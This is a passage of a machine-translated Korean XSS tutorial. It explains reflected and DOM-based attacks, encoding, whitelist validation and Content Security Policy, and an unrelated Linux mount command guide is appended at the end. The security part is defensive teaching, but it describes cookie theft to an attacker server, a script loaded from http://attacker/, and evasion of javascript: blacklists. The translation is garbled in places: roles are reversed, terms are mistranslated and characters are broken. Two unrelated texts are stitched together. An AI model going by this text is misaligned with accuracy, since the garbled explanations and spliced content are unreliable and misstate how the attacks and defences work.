    이전 예에서는 저장된 XSS 공격을 보여줍니다. 이제 반사 XSS 공격과 DOM XSS 공격이라는 두 가지 다른 유형의 XSS 공격에 대해 설명하겠습니다.

    반사된 XSS

    반사된 XSS 공격에서 악성 문자열은 피해자가 웹사이트에 요청하는 부분의 일부입니다. 사이트는 이 악성 문자열을 수락하고 사용자에게 다시 전송되는 응답에 삽입합니다. 아래 다이어그램은 이 시나리오를 보여줍니다.

  • 피해자는 공격자를 속여 웹사이트에 URL 요청을 보내게 합니다.
  • 해당 사이트에는 피해자에 대한 응답으로 URL 요청의 악성 문자열이 포함되어 있습니다.
  • 피해자의 브라우저는 응답에 포함된 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.
  • 반사 XSS 공격을 성공적으로 수행하는 방법은 무엇입니까?

    반사된 XSS 공격은 피해자가 악의적인 문자열이 포함된 요청을 대신 보내도록 요구하기 때문에 무해해 보일 수 있습니다. 누구도 자발적으로 자신을 공격하지 않기 때문에 실제로 공격을 감행할 방법은 없어 보인다.

    밝혀진 바와 같이 피해자가 자신에 대해 반사 XSS 공격을 시작하도록 하는 데는 최소한 두 가지 일반적인 방법이 있습니다.

    • 사용자가 특정인인 경우, 공격자는 피해자에게 악성 URL(예: 이메일, 인스턴트 메신저 등)을 전송하고 링크를 열어 해당 웹사이트를 방문하도록 속일 수 있습니다.
    • 대상이 대규모 사용자 그룹인 경우 공격자는 악의적인 URL(예: 자신의 웹 사이트 또는 소셜 네트워크)에 대한 링크를 게시하고 방문자가 링크를 클릭할 때까지 기다릴 수 있습니다.

    이 두 가지 방법은 모두 유사하며, 이를 식별할 수 있는 사용자로부터 악성 문자열을 마스킹하는 URL 단축 서비스를 사용하면 더 성공적일 수 있습니다.

    DOM의 XSS

    DOM의 XSS는 저장 및 반사 XSS 공격의 변형입니다. 이 XSS 공격에서는 웹사이트의 실제 JavaScript가 실행될 때까지 피해자의 브라우저에서 악성 문자열이 처리되지 않습니다. 아래 다이어그램은 반사된 XSS 공격에 대한 이 시나리오를 보여줍니다.

  • 공격자는 악성 문자열이 포함된 URL을 생성하여 피해자에게 보냅니다.
  • 피해자는 공격자를 속여 웹사이트에 URL 요청을 보내게 합니다.
  • 사이트는 요청을 수락하지만 응답에 악성 문자열을 포함하지 않습니다.
  • 피해자의 브라우저는 응답에 포함된 합법적인 스크립트를 실행하여 악성 스크립트가 페이지에 삽입되도록 합니다.
  • 피해자의 브라우저는 페이지에 삽입된 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.
  • DOM에서 XSS의 차이점은 무엇입니까?

    저장 및 반영된 XSS 공격의 이전 예에서 서버는 페이지에 악성 스크립트를 삽입한 다음 응답으로 피해자에게 전달됩니다. 피해자의 브라우저가 응답을 받으면 악성 스크립트가 페이지의 합법적인 콘텐츠의 일부라고 가정하고 다른 스크립트와 마찬가지로 페이지가 로드되는 동안 자동으로 이를 실행합니다.

    DOM의 XSS 공격 예에서 악성 스크립트는 페이지의 일부로 삽입되지 않습니다. 페이지가 로드되는 동안 자동으로 실행되는 유일한 스크립트는 페이지의 합법적인 부분입니다. 문제는 이 합법적인 스크립트가 사용자 입력을 직접 사용하여 페이지에 HTML을 추가한다는 것입니다. innerHTML 을 사용하여 페이지에 악성 문자열을 삽입하므로 HTML로 파싱되어 악성 스크립트가 실행됩니다.

    이 차이는 작지만 매우 중요합니다.

    • 기존 XSS에서는 페이지가 로드될 때 서버에서 보낸 HTML의 일부로 악성 JavaScript가 실행됩니다.
    • DOM의 XSS의 경우 페이지가 로드된 후 악성 JavaScript가 실행되어 합법적인 JavaScript 페이지가 안전하지 않은 방식으로 사용자 입력(악성 문자열 포함)에 액세스하게 됩니다.
    XSS는 DOM에서 어떻게 작동하나요?

    이전 예에서는 JavaScript가 필요하지 않습니다. 서버는 모든 HTML을 자체적으로 생성할 수 있습니다. 서버 측 코드에 취약점이 포함되어 있지 않으면 웹 사이트는 XSS 취약점에 취약하지 않습니다.

    그러나 웹 애플리케이션이 더욱 발전함에 따라 서버보다는 클라이언트 측에서 JavaScript를 사용하여 생성되는 HTML 페이지가 점점 더 많아지고 있습니다. 전체 페이지를 새로 고치지 않고 언제든지 콘텐츠를 변경해야 하는 경우 JavaScript를 사용하면 가능합니다. 특히 AJAX 요청 후 페이지를 새로 고치는 경우가 그렇습니다.

    이는 XSS 취약점이 사이트의 서버 측 코드뿐만 아니라 사이트의 클라이언트 측 JavaScript 코드에도 존재할 수 있음을 의미합니다. 따라서 완전히 안전한 서버측 코드를 사용하더라도 페이지가 로드된 후 DOM을 업데이트할 때 클라이언트 코드는 여전히 사용자 입력을 안전하게 포함하지 못할 수 있습니다. 이런 일이 발생하면 클라이언트 측 코드는 서버 측 코드의 결함 없이 XSS 공격이 발생하도록 허용합니다.

    DOM 기반 XSS는 서버에 표시되지 않을 수 있습니다.

    악성 문자열이 웹 사이트 서버로 전송되지 않는 DOM에는 XSS 공격의 특별한 경우가 있습니다. 이는 악성 문자열이 URL 식별자 조각(# 기호 뒤의 모든 것)에 포함되어 있을 때 발생합니다. 브라우저는 URL의 이 부분을 서버로 보내지 않으므로 웹사이트는 서버측 코드를 사용하여 해당 부분에 액세스할 수 없습니다. 그러나 클라이언트 측 코드에서는 이에 접근할 수 있으므로 안전하지 않은 처리를 통해 XSS 공격을 수행할 수 있습니다.

    이 경우는 조각 ID에만 국한되지 않습니다. LocalStorage 및 IndexedDB와 같은 새로운 HTML5 기능과 같이 서버에 보이지 않는 다른 사용자 입력이 있습니다.

    3부:
    XSS 예방 XSS 예방 기술

    XSS는 코드 주입 공격입니다. 즉, 사용자 입력이 악성 코드로 잘못 해석됩니다. 이러한 유형의 코드 삽입을 방지하려면 보안 입력 처리가 필요합니다. 웹 개발자의 경우 보안 입력 처리를 수행하는 근본적으로 다른 두 가지 방법이 있습니다.

    • 인코딩은 사용자가 데이터를 데이터로만 입력할 수 있도록 하고, 브라우저에서는 이를 코드로 처리할 수 없도록 하는 방식입니다.
    • 유효성 검사는 브라우저가 악의적인 명령 없이 코드로 해석하도록 사용자 입력을 필터링하는 방법입니다.

    이는 근본적으로 다른 XSS 완화 방법이지만 둘 중 하나를 사용할 때 이해해야 하는 몇 가지 공통 기능을 공유합니다.

    컨텍스트 보안 입력 처리는 페이지에서 사용자 입력이 사용되는 위치에 따라 다르게 수행되어야 합니다. 인바운드/아웃바운드 안전한 입력 처리는 사이트가 입력을 수신할 때(인바운드 트래픽) 또는 사이트가 사용자 입력을 페이지 콘텐츠에 삽입하기 직전(아웃바운드)에 수행될 수 있습니다. 클라이언트/서버 보안 입력 처리는 클라이언트 측이나 서버 측에서 수행될 수 있으며, 각 옵션은 다양한 상황에서 필요합니다.

    코딩 및 유효성 검사가 어떻게 작동하는지 자세히 설명하기 전에 이러한 각 사항에 대해 설명하겠습니다.

    컨텍스트에서 사용자 입력 처리

    웹 페이지에는 사용자 입력을 적용할 수 있는 컨텍스트가 많이 있습니다. 각각에 대해 사용자 입력이 해당 컨텍스트를 벗어날 수 없고 악성 코드로 해석될 수 없도록 특수 규칙을 따라야 합니다. 다음은 가장 일반적인 상황입니다.

    맥락이 왜 중요한가요?

    설명된 모든 컨텍스트에서 첫 번째 인코딩 또는 유효성 검사 전에 사용자 입력이 삽입되면 XSS 취약점이 발생할 수 있습니다. 공격자는 이 컨텍스트에 대한 닫는 구분 기호와 악성 코드를 삽입하기만 하면 악성 코드를 삽입할 수 있습니다.

    예를 들어, 어떤 시점에 웹 사이트의 HTML 속성에 직접 사용자 입력이 포함되어 있는 경우 공격자는 아래와 같이 입력을 따옴표로 시작하여 악성 스크립트를 주입할 수 있습니다.

    이는 사용자 입력에서 모든 따옴표를 간단히 제거함으로써 방지할 수 있으며 모든 것이 괜찮을 것입니다. 그러나 이 컨텍스트에서만 가능합니다. 입력이 다른 컨텍스트에 삽입된 경우 닫는 구분 기호가 달라지며 삽입이 가능합니다. 이러한 이유로 보안 입력 처리는 항상 사용자 입력이 삽입되는 상황에 맞게 조정되어야 합니다.

    들어오고 나가는 사용자 입력 처리

    본능적으로 우리 사이트가 사용자 입력을 수신하는 즉시 모든 사용자 입력을 인코딩하거나 검증함으로써 XSS를 방지할 수 있는 것처럼 보입니다. 이렇게 하면 모든 악성 문자열이 페이지에 포함될 때마다 이미 무력화되며 HTML 생성 스크립트는 사용자 입력을 안전하게 처리하는 것에 대해 걱정할 필요가 없습니다.

    문제는 앞에서 설명한 것처럼 사용자 입력이 페이지의 여러 컨텍스트에 삽입될 수 있다는 것입니다. 그리고 사용자 입력이 언제 컨텍스트에 들어왔는지, 즉 입력이 최종적으로 어떻게 삽입될지 결정하는 쉬운 방법이 없으며, 동일한 사용자 입력이 종종 다른 컨텍스트에 삽입되어야 합니다. XSS를 방지하기 위해 들어오는 입력 처리에 의존함으로써 우리는 오류가 발생하기 쉬운 매우 불안정한 솔루션을 만들고 있습니다. (레거시 PHP "마법의 인용문"이 그러한 솔루션의 예입니다.)

    대신, 나가는 입력 처리는 삽입될 사용자 입력의 특정 컨텍스트를 고려할 수 있으므로 XSS에 대한 기본 방어선이 되어야 합니다. 어느 정도 인바운드 검증을 사용하여 보조 보안 계층을 추가할 수 있지만 이에 대해서는 나중에 더 자세히 설명합니다.

    사용자 입력을 안전하게 처리할 수 있는 곳은 어디입니까?

    대부분의 최신 웹 애플리케이션에서 사용자 입력은 서버 측과 클라이언트 측 모두에서 처리됩니다. 모든 유형의 XSS로부터 보호하려면 서버측 코드와 클라이언트측 코드 모두에서 보안 입력 처리를 수행해야 합니다.

    • 기존 XSS로부터 보호하려면 서버측 코드에서 보안 입력 처리를 수행해야 합니다. 이는 서버에서 지원하는 일부 언어를 사용하여 수행됩니다.
    • 서버가 악의적인 문자열(예: 앞서 설명한 식별자 조각 공격)을 수신하지 않는 DOM에서 XSS 공격으로부터 보호하려면 클라이언트 측 코드에서 보안 입력 처리를 수행해야 합니다. 이는 JavaScript를 사용하여 수행됩니다.

    이제 컨텍스트가 중요한 이유, 들어오는 입력 처리와 나가는 입력 처리의 구별이 중요한 이유, 보안 입력 처리가 클라이언트 측과 서버 측 양쪽에서 수행되어야 하는 이유를 설명했으므로 계속해서 설명할 수 있습니다. 유형의 보안 입력 처리(인코딩 및 유효성 검사)가 실제로 수행됩니다.

    코딩

    코딩은 브라우저가 사용자 입력을 코드가 아닌 데이터로만 해석해야 하는 상황에서 벗어나는 방법입니다. 웹 개발에서 가장 널리 사용되는 코딩 유형은 HTML 마스킹으로, 다음과 같은 문자를 변환합니다.< и >V< и >각기.

    다음 의사 코드는 HTML 마스킹을 사용하여 사용자 입력(사용자 입력)을 인코딩한 다음 서버측 스크립트를 사용하여 페이지에 삽입할 수 있는 방법의 예입니다.

    인쇄 ""
    "마지막 댓글: "을 인쇄하세요.
    encodeHtml(userInput) 인쇄
    인쇄 ""

    사용자가 다음 줄을 입력하면... 결과 HTML은 다음과 같습니다.


    마지막 댓글:
    ...

    특별한 의미가 있는 문자는 모두 이스케이프 처리되었기 때문에 브라우저는 HTML과 같은 사용자 입력의 어떤 부분도 구문 분석하지 않습니다.

    클라이언트 및 서버 측 코드 코딩

    클라이언트 측 인코딩을 수행할 때 다양한 컨텍스트에 대한 데이터를 인코딩하는 기능이 내장된 JavaScript가 항상 사용됩니다.

    서버측 코드에서 코딩을 수행할 때 언어나 프레임워크에서 사용할 수 있는 기능에 의존합니다. 사용 가능한 언어와 프레임워크가 많기 때문에 이 튜토리얼에서는 특정 서버 언어나 프레임워크의 코딩에 대한 세부 사항을 다루지 않습니다. 그러나 클라이언트 측에서 사용되는 JavaScript 코딩 기능은 서버 측 코드 작성 시에도 사용됩니다.

    클라이언트 측 코딩

    JavaScript를 사용하여 클라이언트 측 사용자 입력을 인코딩할 때 상황에 맞는 스타일로 모든 데이터를 자동으로 인코딩하는 몇 가지 내장 메서드와 속성이 있습니다.

    위에서 이미 언급한 마지막 컨텍스트(JavaScript의 값)는 JavaScript가 JavaScript 소스 코드에 포함될 데이터를 인코딩하는 내장 방법을 제공하지 않기 때문에 이 목록에 포함되지 않습니다.

    인코딩 제한

    코딩할 때에도 일부 상황에서는 악성 문자열을 사용할 수 있습니다. 이에 대한 명확한 예는 아래 예와 같이 사용자 입력을 사용하여 URL을 제공하는 경우입니다.

    document.querySelector("a").href = userInput

    요소의 href 속성에 값을 지정하면 해당 요소가 속성 값에 지나지 않도록 자동으로 인코딩되지만, 이 자체만으로는 공격자가 "javascript:"로 시작하는 URL을 삽입하는 것을 방지할 수 없습니다. 링크를 클릭하면 구성에 관계없이 URL에 포함된 JavaScript가 실행됩니다.

    사용자가 페이지에서 일부 HTML 코드를 사용할 수 있도록 하려는 경우에도 코딩은 효과적인 솔루션이 아닙니다. 사용자가 사용자 정의 HTML을 사용할 수 있는 사용자 프로필 페이지를 예로 들 수 있습니다. 이 일반 HTML이 인코딩되면 프로필 페이지는 일반 텍스트로만 구성될 수 있습니다.

    이러한 상황에서는 코딩을 검증으로 보완해야 하며 이에 대해서는 나중에 살펴보겠습니다.

    확인

    유효성 검사는 사용자 입력을 필터링하여 모든 코드를 제거하지 않고도 모든 악성 부분을 제거하는 작업입니다. 웹 개발에서 가장 많이 사용되는 유효성 검사 유형 중 하나를 사용하면 일부 HTML 요소(예: 및 )를 사용하고 다른 요소(예: )는 비활성화할 수 있습니다.

    구현 방식이 다른 두 가지 주요 특징 검사가 있습니다.

    분류 전략 사용자 입력은 블랙리스트 또는 화이트리스트를 사용하여 분류될 수 있습니다. 검증 결과 악성으로 식별된 사용자 입력은 거부되거나 삭제될 수 있습니다.

    분류 전략 블랙리스트

    본능적으로는 사용자 입력에 나타나지 않아야 하는 금지 패턴을 정의하여 검사를 수행하는 것이 적절해 보입니다. 행이 이 패턴과 일치하면 유효하지 않은 것으로 표시됩니다. 예를 들어 사용자가 javascript: 를 제외한 모든 프로토콜을 사용하여 맞춤 URL을 제출할 수 있도록 허용합니다. 이 분류 전략을 블랙리스트.

    그러나 블랙리스트에는 두 가지 주요 단점이 있습니다.

    가능한 모든 악성 문자열 집합을 정확하게 설명하는 것은 일반적으로 매우 어려운 작업입니다. 위에 설명된 예제 정책은 "Javascript:"(첫 번째 문자가 대문자인 경우) 및 "javascript:"(첫 번째 문자가 숫자로 인코딩된 경우)와 같은 문자열이 누락되므로 단순히 "javascript" 하위 문자열을 검색하는 것만으로는 성공적으로 구현할 수 없습니다. 성격 참조). Deprecation 완벽한 블랙리스트가 개발되더라도 브라우저에 추가된 새로운 기능이 공격에 사용될 수 있다면 무용지물이 될 것입니다. 예를 들어 HTML5에 onmousewheel 속성이 도입되기 전에 HTML 유효성 검사 블랙리스트가 개발된 경우 공격자가 이 속성을 사용하여 XSS 공격을 수행하는 것을 막을 수 없습니다. 이러한 단점은 지속적으로 업데이트되는 다양한 기술로 구성된 웹 개발에서 특히 중요합니다.

    이러한 단점 때문에 블랙리스트 작성은 분류 전략으로 권장되지 않습니다. 화이트리스트 작성은 일반적으로 훨씬 더 안전한 접근 방식입니다. 이에 대해서는 다음에 설명하겠습니다.

    바람직한 것의 리스트

    바람직한 것의 리스트본질적으로 블랙리스트와 반대입니다. 금지된 패턴을 식별하는 대신 화이트리스트 접근 방식은 허용된 패턴을 식별하고 입력이 유효하지 않은 것으로 표시합니다. 일치하지 않습니다이 템플릿.

    블랙리스트와 달리 화이트리스트의 예로는 사용자가 http: 및 https: 프로토콜만 포함하는 사용자 정의 URL을 제출할 수 있도록 허용하는 것입니다. 이 접근 방식을 사용하면 "Javascript:" 또는 "javascript:"로 표시되는 경우에도 javascript: 프로토콜이 포함된 URL이 자동으로 유효하지 않은 것으로 표시됩니다.

    블랙리스트와 비교하여 화이트리스트에는 두 가지 주요 장점이 있습니다.

    단순성 양성 문자열 집합을 정확하게 설명하는 것은 일반적으로 모든 악성 문자열 집합을 식별하는 것보다 훨씬 쉽습니다. 이는 사용자 입력이 브라우저에서 사용할 수 있는 매우 제한된 기능 세트를 포함해야 하는 일반적인 상황에 특히 적용 가능합니다. 예를 들어 위에 설명된 화이트리스트는 HTTP: 또는 https: 프로토콜이 허용되는 경우에만 URL을 사용할 수 있도록 매우 간단하게 허용하며 대부분의 경우 이는 사용자에게 충분합니다. 내구성 블랙리스트와 달리 화이트리스트는 일반적으로 브라우저에 새 기능이 추가되어도 더 이상 사용되지 않습니다. 예를 들어 HTML 화이트리스트 유효성 검사를 사용하면 HTML5 onmousewheel 속성이 도입되기 전에 디자인된 화이트리스트라도 HTML 요소의 제목 속성만 안전하게 유지됩니다.

    검증 결과

    사용자 입력이 유효하지 않은(금지됨) 것으로 표시되면 다음 두 가지 조치 중 하나를 취할 수 있습니다.

    입력 거부는 단순히 거부되어 사이트의 다른 곳에서 사용되는 것을 방지하는 것입니다. 입력 데이터의 유효하지 않은 부분을 모두 삭제하고 나머지 입력은 평소와 같이 웹사이트에서 사용됩니다.

    두 가지 중 편향은 구현하기 가장 간단한 접근 방식입니다. 그러나 소독은 사용자에게 더 넓은 범위의 입력을 제공하기 때문에 더 유용한 것으로 간주됩니다. 예를 들어, 사용자가 신용 카드 번호를 제출하면 삭제 기능을 통해 기호가 아닌 모든 문자가 제거되고 코드 삽입이 방지되며, 사용자가 하이픈 유무에 관계없이 숫자를 입력할 수도 있습니다.

    치료를 구현하기로 결정한 경우 치료 절차 자체에서 블랙리스트 접근 방식을 사용하지 않도록 해야 합니다. 예를 들어, "Javascript:..." URL은 화이트리스트를 사용하여 유효하지 않은 것으로 식별된 경우에도 "javascript:"의 모든 인스턴스를 제거하는 삭제 우회 루틴을 수신하게 됩니다. 이러한 이유로 잘 테스트된 라이브러리와 프레임워크는 가능할 때마다 삭제를 사용해야 합니다.

    예방을 위해 어떤 방법을 사용해야 합니까?

    인코딩은 XSS 공격에 대한 첫 번째 방어선이어야 하며, 인코딩의 목적은 브라우저가 사용자 입력을 코드로 해석할 수 없는 방식으로 데이터를 처리하는 것입니다. 어떤 경우에는 검증을 통해 코딩을 보완해야 합니다. 인코딩 및 유효성 검사는 나가는 트래픽에 적용되어야 합니다. 그래야만 사용자 입력이 적용될 컨텍스트와 적용해야 하는 인코딩 및 유효성 검사를 알 수 있기 때문입니다.

    두 번째 방어선으로 javascript: 프로토콜을 사용하여 수신 데이터 삭제를 적용하거나 링크와 같이 명백히 유효하지 않은 사용자 입력을 거부해야 합니다. 이는 그 자체로는 완전한 보안을 제공할 수 없지만 잘못된 실행으로 인해 코딩 및 유효성 검사 보호의 특정 지점이 실패할 수 있는 경우 유용한 예방 조치입니다.

    이 두 가지 방어선을 일관되게 사용하면 사이트가 XSS 공격으로부터 보호됩니다. 그러나 웹사이트를 제작하고 유지하는 과정의 복잡성으로 인해 안전한 사용자 입력 처리만으로 완전한 보안을 제공하는 것은 어려울 수 있습니다. 세 번째 방어선으로 콘텐츠 보안 정책( 영어 콘텐츠 보안 정책), CSP에 대해 설명하겠습니다.

    콘텐츠 보안 정책(CSP)

    XSS 공격으로부터 보호하기 위해 안전한 사용자 입력 처리만 사용하는 것만으로는 충분하지 않습니다. 단 한 번의 보안 실수라도 웹 사이트를 손상시킬 수 있기 때문입니다. 새로운 웹 표준에서 콘텐츠 보안 정책(CSP)을 채택하면 이러한 위험을 줄일 수 있습니다.

    CSP는 신뢰할 수 있는 소스에서 다운로드한 리소스만 사용할 수 있도록 브라우저의 웹 페이지 사용을 제한하는 데 사용됩니다. ㅏ 자원스크립트, 스타일 시트, 이미지 또는 페이지에서 참조되는 기타 유형의 파일입니다. 즉, 공격자가 사이트에 악성 콘텐츠를 삽입하더라도 CSP는 해당 콘텐츠가 실행되는 것을 방지할 수 있습니다.

    CSP를 사용하여 다음 규칙을 적용할 수 있습니다.

    신뢰할 수 없는 소스 금지 외부 리소스는 명확하게 정의된 신뢰할 수 있는 소스 세트에서만 다운로드할 수 있습니다. 포함된 리소스를 허용하지 않으면 인라인 JavaScript 및 CSS가 고려되지 않습니다. eval을 비활성화하면 JavaScript에서 eval 함수를 사용할 수 없습니다.

    CSP 작동 중

    다음 예에서는 공격자가 웹 페이지에 악성 코드를 삽입하는 데 성공했습니다.


    마지막 댓글:

    올바르게 정의된 CSP 정책을 사용하면 http://attacker/가 신뢰할 수 있는 소스로 지정되지 않았기 때문에 브라우저가 악성 스크립트.js를 다운로드하고 실행할 수 없습니다. 이 경우 사이트가 사용자 입력을 안정적으로 처리하지 못했음에도 불구하고 CSP의 정책은 취약점으로 인해 피해가 발생하는 것을 방지했습니다.

    공격자가 외부 파일에 대한 링크가 아닌 스크립트 코드 내부에 코드를 삽입하더라도 적절하게 구성된 CSP 정책은 JavaScript 코드에 대한 삽입을 방지하여 취약점을 방지하고 피해를 입힐 수 있습니다.

    CSP를 활성화하는 방법은 무엇입니까?

    기본적으로 브라우저는 CSP를 사용하지 않습니다. 웹사이트에서 SCP를 활성화하려면 페이지에 추가 HTTP 헤더(Content‑Security‑Policy)가 포함되어 있어야 합니다. 이 헤더가 포함된 모든 페이지는 브라우저가 CSP를 지원하는 경우 브라우저에서 로드할 때 보안 정책을 시행합니다.

    보안 정책은 모든 HTTP 응답과 함께 전송되므로 서버가 각 페이지마다 개별적으로 정책을 설정할 수 있습니다. 모든 응답에 동일한 CSP 헤더를 삽입하면 전체 웹사이트에 동일한 정책을 적용할 수 있습니다.

    Content‑Security‑Policy 헤더의 값에는 사이트에서 실행될 하나 이상의 보안 정책을 정의하는 문자열이 포함되어 있습니다. 이 줄의 구문은 아래에 설명되어 있습니다.

    이 섹션의 제목 예에서는 쉽게 참조할 수 있도록 줄바꿈과 들여쓰기를 사용합니다. 실제 제목에 표시되어서는 안 됩니다.

    CSP 구문

    CSP 헤더 구문은 다음과 같습니다.

    콘텐츠 보안 정책:
    지령 소스 표현, 소스 표현, ...;
    지령 ...;
    ...

    이 구문은 다음 두 가지 요소로 구성됩니다.

    • 지시문은 주어진 목록에서 가져온 리소스 유형을 나타내는 문자열입니다.
    • 소스 표현식은 리소스를 로드할 수 있는 하나 이상의 서버를 설명하는 모델입니다.

    각 지시문에 대해 소스 표현식의 데이터는 해당 유형의 리소스를 로드하는 데 사용할 수 있는 소스를 지정합니다.

    지시문

    CSP 헤더에는 다음 지시문을 사용할 수 있습니다.

    • 연결-src
    • 글꼴-src
    • 프레임-src
    • img-src
    • 미디어-src
    • 객체-src
    • 스크립트-src
    • 스타일-src

    이 외에도 헤더에 포함되지 않은 모든 지시문에 대한 기본값을 제공하기 위해 특수 default-src 지시문을 사용할 수 있습니다.

    소스 표현

    소스 표현식을 생성하는 구문은 다음과 같습니다.

    프로토콜:// 호스트 이름: 포트 번호

    호스트 이름은 *로 시작할 수 있습니다. 이는 제공된 호스트 이름의 모든 하위 도메인이 확인된다는 의미입니다. 마찬가지로 포트 번호는 *로 표시될 수 있으며 이는 모든 포트가 허용된다는 의미입니다. 또한, 프로토콜과 포트 번호는 생략될 수 있습니다. 프로토콜을 지정하지 않으면 정책에 따라 HTTPS를 사용하여 모든 리소스를 로드해야 합니다.

    위 구문 외에도 소스 표현식은 특별한 의미(따옴표 포함)를 갖는 네 가지 키워드 중 하나일 수 있습니다.

    "none"은 리소스를 비활성화합니다. "self"는 웹페이지가 위치한 호스트의 리소스를 허용합니다. "unsafe‑inline"은 페이지에 포함된 리소스를 인라인 요소, 요소 및 javascript: URL로 확인합니다. "unsafe-eval"은 JavaScript 함수 eval 을 활성화합니다.

    CSP를 사용할 때마다 기본 제공 리소스 및 평가는 기본적으로 자동으로 비활성화됩니다. "unsafe-inline"과 "unsafe-eval"을 사용하는 것이 유일한 방법입니다.

    정책 예시

    콘텐츠 보안 정책:
    script‑src "self" scripts.example.com;
    media‑src "없음";
    img‑src *;
    default‑src "self" http://*.example.com

    이 예제 정책을 사용하면 웹 페이지에 다음과 같은 제한 사항이 적용됩니다.

    • 스크립트는 웹페이지가 있는 호스트와 다음 주소(scripts.example.com)에서만 다운로드할 수 있습니다.
    • 오디오 및 비디오 파일 다운로드가 금지되어 있습니다.
    • 이미지 파일은 어느 주소에서나 다운로드할 수 있습니다.
    • 다른 모든 리소스는 웹 페이지가 있는 호스트와 example.com의 하위 도메인에서만 로드할 수 있습니다.
    CSP 상태

    2013년 6월 현재 W3C 컨소시엄에서는 콘텐츠 보안 정책을 권장하고 있습니다. CSP는 브라우저 개발자에 의해 구현되지만 그 중 일부는 다른 브라우저에 따라 다릅니다. 예를 들어, HTTP 헤더 사용법은 브라우저마다 다를 수 있습니다. CSP를 사용하기 전에 지원하려는 브라우저의 설명서를 참조하세요.

    요약 요약: XSS 개요
    • XSS 공격은 사용자 입력의 안전하지 않은 처리로 인해 발생하는 코드 주입 공격입니다.
    • XSS 공격이 성공하면 공격자는 피해자의 브라우저에서 악성 JavaScript를 실행할 수 있습니다.
    • 성공적인 XSS 공격은 웹사이트와 사용자 모두의 보안을 위협합니다.
    요약: XSS 공격
    • XSS 공격에는 세 가지 주요 유형이 있습니다.
      • 웹사이트의 데이터베이스에서 악의적인 입력이 발생하는 저장된 XSS입니다.
      • 반사된 XSS는 피해자의 요청에서 악의적인 입력이 발생합니다.
      • DOM에서의 XSS 공격은 취약점이 서버 측이 아닌 클라이언트 측 코드에서 악용되는 경우입니다.
    • 이러한 모든 공격은 다르게 수행되지만 성공하면 동일한 효과를 갖습니다.
    요약: XSS 방지
    • XSS 공격을 예방하는 가장 중요한 방법은 안전한 입력 처리를 수행하는 것입니다.
      • 페이지에서 사용자 입력이 활성화될 때마다 인코딩이 수행되어야 합니다.
      • 어떤 경우에는 코딩을 검증으로 대체하거나 보완해야 합니다.
      • 안전한 입력 처리는 사용자 입력이 삽입되는 페이지 컨텍스트를 고려해야 합니다.
      • 모든 유형의 XSS 공격을 방지하려면 클라이언트 측 코드와 서버 측 코드 모두에서 보안 입력 처리가 수행되어야 합니다.
    • CSP(콘텐츠 보안 정책)는 보안 입력 처리에 오류가 포함된 경우 추가 보호 계층을 제공합니다.
    부록 용어

    XSS를 설명하는 데 사용되는 용어에는 교차가 있다는 점에 유의해야 합니다. DOM의 XSS 공격은 저장되거나 반영될 수 있습니다. 이는 별도의 공격 유형이 아닙니다. 모든 유형의 XSS를 혼동 없이 포괄하는 일반적으로 허용되는 용어는 없습니다. XSS를 설명하는 데 사용되는 용어에 관계없이 가장 중요한 것은 공격 유형을 결정하는 것입니다. 이는 악의적인 입력이 어디서 오고 취약점이 어디에 있는지 아는 경우 가능합니다.

    사용권 및 링크

    소스 코드 과도한 XSS GitHub에서 사용할 수 있습니다.

    과도한 XSS Chalmers University of Technology의 언어 기반 보안 과정의 일부로 2013년에 만들어졌습니다.

    러시아어 번역은 A888R에 의해 수행되었으며 영어 원본 텍스트: extra-xss.com, 의견, 제안 및 번역 오류는 여기로 보내야 합니다.

    mount 명령은 필요한 모든 작업을 수행할 수 있는 범용 도구입니다. 마운트된 장치 목록을 보려면,

    인수 없이 입력하십시오(읽기 위해 루트 권한이 필요하지 않음):

    /dev/sdal on / ext4 유형(rw,errors=remount-ro) proc on /proc 유형 proc(rw,noexec,nosuid,nodev) 없음 on /sys 유형 sysfs(rw,noexec,nosuid,nodev) 없음 on / sys/fs/fuse/connections 유형 fusectl(rw) 없음 /sys/kernel/debug 유형 debugfs(rw)

    /sys/kernel/security 유형 securityfs(rw)에는 없음 /dev 유형 devtmpfs(rw,mode=0755)에는 없음

    /dev/pts 유형 devpts에서는 없음(rw,noexec,nosuid,gid=5,mode=0620) /dev/shm 유형 tmpfs에서는 없음(rw,nosuid,nodev)

    /var/run 유형 tmpfs에는 없음(rw,nosuid,mode=0755)

    /var/lock 유형 tmpfs에 없음(rw,noexec,nosuid,nodev) /lib/init/rw 유형 tmpfs에 없음(rw,nosuid,mode=0755) /proс/sys/fs/binfmt_misc에 binfmt_misc 유형 binfmt_misc

    (rw,noexec,nosuid,nodev)

    /home/grinder/.gvfs의 gvfs-fuse-daemon 유형 퓨즈.gvfs-fusedaemon(rw,nosuid,nodev,user=grinder)

    결과적으로 우리는 소스 리소스가 표시된 첫 번째 위치에 목록을 얻습니다. 그 자리에는 아무것도 없을 수도 있고(시스템 리소스) 우리의 경우처럼 gvfs-fuse-daemon 프로그램이 있을 수도 있습니다. 두 번째는 마운트되는 지점입니다.

    메모

    /etc/mtab 파일의 내용을 읽어 비슷한 목록을 얻을 수 있습니다.

    파티션 또는 기타를 마운트하려면 자원가장 간단한 경우에는 마운트를 사용하여 이름과 마운트 지점을 지정하는 것으로 충분합니다. 예를 들어 파티션 /dev/sdb2

    /home/grinder/audio에 연결되어야 합니다:

    $ sudo 마운트 /dev/sdb2 /home/grinder/audio

    이제 /home/grinder/audio로 이동하여 내부 파일을 작업할 수 있습니다. 그러나 기본 마운트 옵션은 그다지 편리하지 않은 경우가 많습니다.

    df-h 명령을 사용하면 사용 가능한 볼륨, 여유 공간 등 디스크 파티션에 대한 전체 정보를 볼 수 있습니다.

    파일 시스템은 일반적으로 자동으로 감지되지만 연결된 하드 드라이브의 파티션에 논리적 오류가 있는 경우 -t 스위치를 사용하여 파일 시스템 유형을 추가로 지정해야 합니다.

    $ sudo mount -t ext3 /dev/sdb2 /home/grinder/audio

    예제에서 파일 시스템 유형은 ext3입니다. 다른 파일 시스템은 다음 매개변수를 사용하여 마운트됩니다.

    Text ext2, -t ext3, -t ext4, -t reiser, -t xfs - 해당 파일 시스템으로 파티션을 마운트합니다.

    T ntfs-3g - NTFS 파티션을 마운트합니다.

    T vfat - FAT32 파티션을 마운트합니다.

    T iso9660 - CD 드라이브 또는 ISO 이미지 마운트

    T smbfs 또는 -t cifs - Windows 시스템 리소스를 마운트합니다.

